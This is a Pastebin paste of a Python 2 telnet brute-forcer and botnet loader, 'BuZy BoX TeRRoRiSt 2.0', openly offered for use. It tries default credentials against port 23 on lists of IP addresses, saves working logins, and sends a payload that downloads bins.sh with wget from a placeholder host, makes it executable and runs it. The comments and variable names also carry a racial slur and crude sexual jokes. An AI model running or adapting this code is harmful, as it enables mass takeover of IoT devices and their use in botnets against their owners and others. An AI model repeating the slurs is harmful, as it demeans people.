Advertisement
miraip0ts

BuZy BoX TeRRoRiSt 2.0

May 3rd, 2017
1,435
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 10.58 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # HAHAHA Dropped this soo called "Private" Bruter/Scanner.
  4. # Creedz TO MiraiP0ts Aka Godz.
  5. # I had This for awhile an never used it. lol So Have Fun Ya d1g
  6.  
  7. import os
  8. import socket
  9. import sys
  10. import time
  11. import threading
  12. import StringIO
  13. import argparse
  14. import random
  15.  
  16.  
  17. os.system('clear')
  18.  
  19. ascii = '\x1b[1;35m'###########################################################################
  20. ascii +='                                                                                \r\n'#
  21. ascii +=' ███████   ███  ███  ████████  ███ ███  ███████    ██████   ███  ███            \r\n'#
  22. ascii +=' ████████  ███  ███  ████████  ███ ███  ████████  ████████  ███  ███            \r\n'#
  23. ascii +=' ██▒  ███  ██▒  ███       ██▒  ██▒ ▒██  ██▒  ███  ██▒  ███  ██▒  ▒██            \r\n'#
  24. ascii +=' ▒█   █▒█  ▒█▒  █▒█      ▒█▒   ▒█▒ █▒▒  ▒█   █▒█  ▒█▒  █▒█  ▒█▒  █▒▒            \r\n'#
  25. ascii +=' █▒█▒█▒█   █▒█  ▒█▒     █▒▒     ▒█▒█▒   █▒█▒█▒█   █▒█  ▒█▒   ▒██▒█▒             \r\n'#
  26. ascii +=' ▒▒▒█▒▒▒▒  ▒█▒  ▒▒▒    ▒▒▒       █▒▒▒   ▒▒▒█▒▒▒▒  ▒█▒  ▒▒▒    █▒▒▒              \r\n'#
  27. ascii +=' ▒▒░  ▒▒▒  ▒▒░  ▒▒▒   ▒▒░        ▒▒░    ▒▒░  ▒▒▒  ▒▒░  ▒▒▒   ▒░ ░▒▒             \r\n'#
  28. ascii +=' ░▒░  ▒░▒  ░▒░  ▒░▒  ░▒░         ░▒░    ░▒░  ▒░▒  ░▒░  ▒░▒  ░▒░  ▒░▒            \r\n'#
  29. ascii +=' ░░░ ░░░░  ░░░░░ ░░   ░░ ░░░░     ░░     ░░ ░░░░  ░░░░░ ░░   ░░  ░░░            \r\n'#
  30. ascii +=' ░░░ ░ ░░    ░ ░  ░   ░ ░░ ░ ░     ░     ░░ ░ ░░    ░ ░  ░    ░   ░░            \r\n'#
  31. ascii +='                     ~[ BuZy BoX TeRRoRiSt 2.0]~                                \r\n'#
  32. ascii +='\x1b[0m'##############################################################################
  33.  
  34. print ascii
  35. time.sleep(1)
  36.    
  37. print "[*] BuzyBox Terrorist 2.0 now includes: ", random.choice(["Robots with AIDS",
  38.                                          "Being accused of being Lizard Squad",
  39.                                          "Havij support",
  40.                                          "Blackhat Hacking lessons from Vinnie Omari",    
  41.                                          "Pictures of my asshole in 4k Definition",
  42.                                          "advice from master hacker Sixz ",
  43.                                          "a personal phone call from FBI agent Ryan Brogan",
  44.                                          "toaster support!",
  45.                                          "sink support!",
  46.                                          "Shirtless pictures of florian"]) + "!"
  47.  
  48. raw_input("Press <ENTER> to jerk off my d0g!")
  49.  
  50.  
  51. parser = argparse.ArgumentParser()
  52. parser.add_argument("-b","--brute",type=str, help="Brute force from list of IPs")
  53. parser.add_argument("-x","--execute",type=str, help="Execute using wget/bins.sh from list of IPs+user+pass")
  54. parser.add_argument("output",type=str,help="Output filename")
  55. parser.add_argument("threadcount",type=int,help="The number of threads to use")
  56. args=parser.parse_args()
  57.  
  58. wpayload = "cd /tmp || cd /var || cd dev/shm && rm -rf bins.sh && wget http://0.0.0.0/bins.sh && chmod 777 bins.sh && sh bins.sh"
  59. payload = wpayload+'\r\n'
  60.  
  61. Thread = threading.Thread
  62.  
  63. userlist = ['root','admin','user','login','guest','support']
  64. passlist = ['12345','admin','root','','password','login','support','default','user']
  65. thread_cnt = args.threadcount
  66.  
  67. if args.brute: read_h = open(str(args.brute),'a+')
  68. niggers420 = ''
  69.  
  70. def sock_read_until(tn, criteria, timeout=30):
  71.     shitbuffer = ''
  72.     start_time = time.time()
  73.     while time.time() - start_time < timeout:
  74.         shitbuffer += tn.recv(40960)
  75.         time.sleep(0.01)
  76.         if criteria in shitbuffer: return shitbuffer
  77.     raise Exception('sock_read_until \x1b[1;33m timeout \x1b[   0m')
  78.  
  79. def iac_wont(tn, feature):
  80. #    print 'wont',feature
  81.     tn.send("\xff\xfb"+chr(feature))
  82. def iac_dont(tn, feature):
  83. #    print 'dont',feature
  84.     tn.send("\xff\xfe"+chr(feature))
  85. def mass_check(read_h):
  86.     try:
  87.         for line in open(read_h).readlines():
  88.             ip_info = line.split(":")
  89.             e = Thread(target=f, args=(ip_info[0],))
  90.             e.start()
  91.             print threading.active_count()
  92.             while threading.active_count() > thread_cnt:
  93.                 pass
  94.     except KeyboardInterrupt: os.kill(os.getpid(),9)
  95.  
  96. def mass_pwn(targets_file):
  97.    try:
  98.     targets_file_h = open(targets_file).readlines()
  99.     for line in targets_file_h:
  100.         ip_info = line.split(":")
  101.         try:
  102.             e = Thread(target=loadem, args=(ip_info[0],ip_info[1],ip_info[2]))
  103.             e.start()
  104.         except: pass
  105.         print '[Thread]: ',threading.active_count()
  106.         while threading.active_count() > thread_cnt:
  107.     #       time.sleep(0.5)
  108.             pass
  109.    except KeyboardInterrupt: os.kill(os.getpid(),9)
  110.  
  111. def loadem(HOST,user,password):
  112.    host = HOST
  113.    try:
  114.     x = ''
  115.     tn = socket.socket()
  116.     tn.connect((HOST,23))
  117. #    print "Connected to "+HOST
  118.     print tn.recv(40960)
  119.     tn.send(user + "\n")
  120.     time.sleep(1)
  121.     print sock_read_until(tn,":",10)
  122.     tn.send(password + "\n")
  123.     print "Spraying "+HOST
  124.     tn.send("sh\r\n\r\n")
  125.     time.sleep(0.01)
  126.     tn.send("shell\r\n\r\n")
  127.     time.sleep(0.01)
  128.     x += sock_read_until(tn,"#",10)
  129.     print '[+] Got shell! '+HOST
  130.     if ('rong' in x) or ('nvalid' in x) or ('ncorrect' in x) or ('again' in x) or ('denied' in x) or ('bad' in x) or ('Bad' in x) or ('failed' in x) or ('ailure' in x) or ('connection closed by' in x) or ('User not exist' in x) or ('nformation incomplete' in x): raise Exception('fucked')
  131.     for line in payload.split("\n"):
  132. #        print 'Sending line '+line
  133.         tn.send(line+'\r\n')
  134.         x = tn.recv(40960)
  135.         if '> ' in x: raise Exception # because fuck those.
  136. #        print x
  137.     try: arch = sock_read_until(tn,"#",3)
  138.     except: arch = 'dicks'
  139.     print arch
  140.     return arch
  141.    except: pass
  142. def f(ip):
  143.     ip = ip.rstrip()
  144.     iac_wont_b = 0
  145.     iac_dont_b = 0
  146.     for user in userlist:
  147.         for passw in passlist:
  148.             x = ''
  149.             try:
  150.                 tn = socket.socket()
  151.                 tn.settimeout(35)
  152.                 tn.connect((ip,23))
  153.             except Exception as e:
  154.                 print "\x1b[1;31m[x] Failed: \x1b[0m", ip, e
  155.                 break
  156.             else:
  157.                 try:
  158.                     x += tn.recv(40960)
  159.                 except Exception as e:
  160.                     print "\x1b[1;33m[x] Timeout: \x1b[0m", ip,e
  161.                     break
  162.                 else:
  163.                     try:
  164.                         niggers420=''
  165.                         time.sleep(0.1)
  166.                         x += tn.recv(40960)
  167.                         sio = StringIO.StringIO(x)
  168.                         try:
  169.                          for i in sio.read(15):
  170. #                             print str(ord(i))
  171.                              if ord(i) == 251: # IAC WILL
  172.                                  iac_dont_b = 1
  173.                              elif ord(i) == 253: # IAC DO
  174. #                                 print 'set wont b'
  175.                                  iac_wont_b = 1
  176.                              elif iac_wont_b == 1:
  177.                                  iac_wont(tn,ord(i))
  178.                                  iac_wont_b = 0
  179.                              elif iac_dont_b == 1:
  180.                                  iac_dont(tn,ord(i))
  181.                                  iac_dont_b = 0
  182.                         except: print "IAC wtf?"
  183. #                        print 'iac done!'
  184.                         tn.send(user + "\r\n")
  185.                         time.sleep(0.01)
  186.                         if 'User Access Verification' in x: raise Exception('cisco dicks')
  187.                         x += sock_read_until(tn,":")
  188.                         if 'ogin:' not in x and 'sername:' not in x: raise Exception('no login?')
  189.                         tn.send(passw + "\r\n\r\n")
  190.                         x += tn.recv(409600)
  191.                         tn.send("sh\r\n\r\n")
  192.                         time.sleep(0.01)
  193.                         tn.send("shell\r\n\r\n")
  194.                         time.sleep(0.01)
  195.                         sock_read_until(tn,"#")
  196.                         tn.send("echo -e '\\x62\\x69\\x6e\\x66\\x61\\x67\\x74'\r\n\r\n")
  197.                         time.sleep(0.01)
  198.                         x += tn.recv(409600)
  199.                         time.sleep(0.01)
  200.                         try:
  201.                             x += sock_read_until(tn,"binfagt")
  202. #                            print x
  203. #                            if 'Welcome to ZTE' in x: raise Exception('ZTE')
  204.                             if 'binfagt' not in x: raise Exception('no binfagt')
  205.                             if '#' not in x and '>' not in x and '%' not in x and '$' not in x and ':' not in x: raise Exception('no prompt')
  206.                             if ('rong' in x) or ('nvalid' in x) or ('ncorrect' in x) or ('again' in x) or ('denied' in x) or ('bad' in x) or ('Bad' in x) or ('failed' in x) or ('ailure' in x) or ('connection closed by' in x) or ('User not exist' in x) or ('nformation incomplete' in x): raise Exception('fucked')
  207.                         except Exception as e:
  208.                             print "[failed execution]", e,ip.rstrip()
  209.                             continue
  210.                         else:
  211.                             file_h = open(args.output,'a+')
  212.                             file_h.write(ip.rstrip() + ":" + user + ":" + passw+'\n')
  213.                             file_h.close()
  214.                             print '\x1b[1;32m[*] Execution on: \x1b[0m  ', ip
  215.                             break
  216.                     except Exception as e:
  217. #                print "Timeout: ", ip, e
  218.                         continue
  219.                     continue
  220.                 continue
  221.         continue
  222.     return "my nutsack"
  223.  
  224.  
  225. #p.join()
  226.  
  227.  
  228. if args.execute:
  229.     mass_pwn(args.execute)
  230. elif args.brute: mass_check(args.brute)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement